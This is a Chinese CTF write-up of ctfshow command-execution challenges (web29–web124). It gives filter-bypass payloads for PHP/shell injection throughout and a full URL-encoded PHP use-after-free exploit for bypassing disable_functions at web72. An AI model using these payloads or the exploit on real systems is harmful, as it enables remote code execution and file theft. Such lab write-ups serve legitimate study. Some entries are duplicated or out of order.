很早之前做的了,最近在准备比赛,复习一下
web29
1 |
|
1.命令执行,过滤了”flag”
2.用通配符绕过即可
payload:
?c=system(“cat f*”); // flag在源码中
web30
1 |
|
1.比web29多过滤了”system”和”php”
2.用passthru绕过对system的过滤
3.用通配符绕过对flag和php的过滤
payload:
?c=passthru(‘cat f*’);
web31
1 |
|
1.比web30多过滤了”cat”、”sort”、”shell”、”.”、单引号和空格
2.对web30的payload来说有影响的有cat、单引号和空格
3.用tac绕过对cat的过滤
4.用双引号绕过对单引号的过滤
5.用”%09”绕过对空格的过滤
payload:
?c=passthru(“tac%09f*”);
web32
1 |
|
1.比web31多过滤了”echo”、”;”、”(“和反引号
2.根据过滤来看,上一题的预期解应该是?c=echo`tac%09f*`;
3.过滤得有点多,只能用文件包含来绕过了
payload:
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
// 这里可以用”?>”绕过”;”是因为PHP中最后一条语句不需要分号
web33
1 |
|
1.比web32多过滤了双引号
2.依旧可以用文件包含和filter伪协议打通
payload:
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web34
1 |
|
1.比web33多过滤了”:”
2.文件包含+filter伪协议依旧能打通
payload:
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web35
1 |
|
1.比web34多过滤了”<”和”=”
2.文件包含+filter伪协议依旧能打通
payload:
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web36
1 |
|
1.比web35多过滤了”/“和数字
2.文件包含+filter伪协议依旧能打通
payload:
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37
1 |
|
1.include文件包含,又过滤了flag,filter协议用不了了
2.可以用data协议进行命令执行
payload:
?c=data://text/plain,\<?php system(“cat fla?.php”);?>
web38
1 |
|
1.比web37多过滤了”php”和”file”
2.用通配符绕过对.php的过滤
3.用短标签(<?=)绕过对<?php的过滤
payload:
?c=data://text/plain,\<?=system(“tac f*”);?>
web39
1 |
|
1.依旧是文件包含,但是不用加后缀名了
2.用通配符绕过对flag的过滤
3.用web38的payload也能打通
payload:
?c=data://text/plain,\<?php system(“tac fla?.php”);?>
web40
1 |
|
1.突然多了一堆死亡过滤,能用的只剩下字母和英文括号(没错它过滤是中文括号)
一些知识点:
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个值为点号(.)
pos():返回数组中的当前元素的值
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出
array_reverse():数组逆序
2.首先,我们可以利用pos()和localeconv()来构造点(“.”),因为在linux中,点表示当前目录,再结合scandir(),我们就可以获取到当前目录的文件,并用print_r()输出
3.从上一步可以得到,flag文件的位置在数组的倒数第二位,所以我们可以先用array_reverse()将数组逆序,然后用next()将指针从[3]指向[2],从而指向flag文件,再用highlight_file()读取flag.php
payload:
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
※web41
1 |
|
1.过滤了数字和字母以及一些特殊符号,很明显的无数字字母RCE
2.用羽师傅的脚本进行解答
羽师傅脚本链接:https://blog.csdn.net/miuzzx/article/details/109143413
web42
1 |
|
1.”>/dev/null 2>&1”的意思是将参数的返回结果输入到黑洞文件中
2.所以这题如果正常命令执行的话,返回结果会被丢弃掉
3.采用双命令绕过,执行第一个命令,丢弃第二个命令
payload:
?c=catflag.php;ls;
web43
1 |
|
1.还是将返回结果输入到黑洞文件,但是多过滤了”cat”和分号
2.用tac绕过对cat的过滤
3.用”%0a”绕过对分号的过滤
payload:
?c=tac flag.php%0als
web44
1 |
|
1.比web43多过滤了flag
2.用通配符绕过对flag的过滤
payload:
?c=tac f*%0als
web45
1 |
|
1.比web44多过滤了空格
2.用%09绕过对空格的过滤
payload:
?c=tac%09f*%0als
web46
1 |
|
1.比web45多过滤了”$”、”*”和数字
2.用?绕过对*的过滤
“?”和”*”的区别:
?只能通配某个字符,如flag.php -> fla?.php fl??.ph?
可以通配整个字符串,如flag.php -> f\
payload:
?c=tac%09fla?.php%0als
web47
1 |
|
1.比web46多过滤了”more”、”less”等函数
2.用web46的payload依然能打通
payload:
?c=tac%09fla?.php%0als
web48
1 |
|
1.比web47多过滤了几个函数和反引号
2.继续用web46的payload打通
payload:
?c=tac%09fla?.php%0als
web49
1 |
|
1.比web48多过滤了”%”
2.可以继续用web46的payload打通
为什么过滤了”%”还能用web46的payload打通:
因为在payload中的”%09”和”%0a”分别被解析成空格和分号,所以payload中是不含百分号的
payload:
?c=tac%09fla?.php%0als
web50
1 |
|
1.比web49多过滤了”%09”和”%26”
2.空格和%09都没了,不能用tac了
3.用nl代替tac,由于nl不支持通配符,所以需要对flag.php进行字符串切割
payload:
?c=nl<fl’’ag.php||ls // flag在源码中
web51
1 |
|
1.比web50多过滤了”tac”
2.继续用web50的payload打通
payload:
?c=nl<fl’’ag.php||ls // flag在源码中
web52
1 |
|
1.比web51多过滤了”>”和”<”,但是放出了”$”
2.可以用$IFS代替空格进行绕过
3.这里有个坑,当前目录的flag.php中的flag是假的,真flag在根目录里
4.查看根目录文件:?c=ls$IFS/||ls
payload:
?c=nl$IFS’’/fl’’ag||ls
web53
1 |
|
1.不需要截断了,直接绕过即可
payload:
?c=nl${IFS}fla’’g.php
web54
1 |
|
1.丧心病狂的过滤,切断了通配符绕过的道路
2.可以用文件移动的方式绕过
3.不能使用字符串切割了,但是可以用?绕过
payload:
?c=mv${IFS}fla?.php${IFS}a.txt // 然后访问a.txt
web55
1 |
|
1.过滤了字母、分号、反引号、”%09”、”%26”和左右尖括号
2.典型的无字母RCE,可以利用bin目录中的base64来对flag.php进行编码
bin目录:
bin为binary的简写,主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
payload:
?c=/???/????64%20????.??? // 即 /bin/base64 flag.php
web56
1 |
|
1.比web55多过滤了数字、小括号、大括号和单双引号
2.用Y4师傅的脚本发包,构造POC进行命令执行
1 | import requests |
web57
1 |
|
1.依旧是死亡过滤,但是只要想办法构造出36并传参,就能得到flag
知识点:
在linux中,可以利用$(())构造数字:
$(()) —> 0
\$((~$(()))) —> -1 // 0取反为-1
\$(($((~$(())))$((~$(()))))) — > -2
2.那么接下来的任务就很简单了,令36个$((~$(())))相加,然后取反即可得到36
payload:
c=\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) // flag在源码中
web58-65
1 |
|
1.四大命令执行函数都被禁用了
2.利用scandir()查看当前目录文件:c=print_r(scandir(‘.’)) // .表示当前目录
3.利用highlight_file()查看文件:c=highlight_file(“flag.php”);
payload:
POST:c=highlight_file(“flag.php”);
web66-67
1 |
|
1.源码没变,但是flag文件位置变了
2.查看根目录文件:c=print_r(scandir(‘/‘));
3.查看flag文件:c=highlight_file(‘flag.txt’);
payload:
POST:c=highlight_file(‘/flag.txt’);
web68-70
1.highlight_file()终于被禁用了
2.print_r也被禁用了
3.使用遍历来查看目录:c=$a=scandir(‘/‘);foreach($a as $key => $value){echo $key.”=>”.$value;}
4.然后用文件包含读取flag文件
payload:
POST:c=include(‘/flag.txt’);
web71
1 |
|
知识点:
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
1.代码的大致流程:
传参 -> 命令执行 -> 将命令执行的结果保存在$s中 -> 清空输出缓冲区 -> 将$s中的数字和字母替换成问号
2.这边要做的事情就是让代码的执行流程终止于第三步或者第四步,也是不让它清空输出缓冲区
3.利用双命令绕过,在命令执行完之后加上一个exit();直接退出代码
payload:
POST:c=include(‘/flag.txt’);exit();
web72
1 |
|
1.源码没什么变化,但是scandir()用不了了,flag文件名字也变了
2.利用global协议来读取目录
c=?><?php $a=new DirectoryIterator(“glob:///*”);foreach($a as $f){echo($f->__toString().’ ‘);}exit();?> // 发现了flag0.txt
3.include也用不了,用群主给的poc进行传参 // 需要进行URL编码
1 |
|
payload:
POST:c=c=function%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B’args’%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j—)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle(‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA’)%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20’WIN’))%20%7B%0A%20%20%20%20%20%20%20%20die(‘This%20PoC%20is%20for%20*nix%20systems%20only.’)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle(‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA’)%3B%0A%0A%20%20%20%20trigger_uaf(‘x’)%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B’args’%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn’t%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn’t%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn’t%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn’t%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B
web120
1 |
|
1.HOME也被过滤了
2.可以利用通配符调用base64命令,构造出/bin/base64 flag.php(/???/?????4 ????.???)
web119
1.过滤了$PATH
2.用$PWD和$HOME进行绕过
web120
1 |
|
1.HOME也被过滤了
2.可以利用通配符调用base64命令,构造出/bin/base64 flag.php(/???/?????4 ????.???)
web121
1 |
|
1.在120的基础上把SHLVL也过滤了
2.但是可以用$(#?)绕过对SHLVL的过滤
web122
1 |
|
1.#和PWD被过滤了,但是HOME放出来了
web124
1 |
|
1.不能使用除题目白名单中给出的函数以外的任何字符。那目的就是构造出字母或者构造出函数
需要构造的payload:c=$pi=_GET;pi{acos})&abs=system&acos=cat flag.php
2.我们需要构造的是其实只有 _GET,$我们可用使用,中括号可用用花括号代替,小括号也是可以使用的
3.如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串
hex2bin构造方法:base_convert(37907361743,10,36);
_GET构造方法:base_convert(37907361743,10,36)(dechex(1598506324));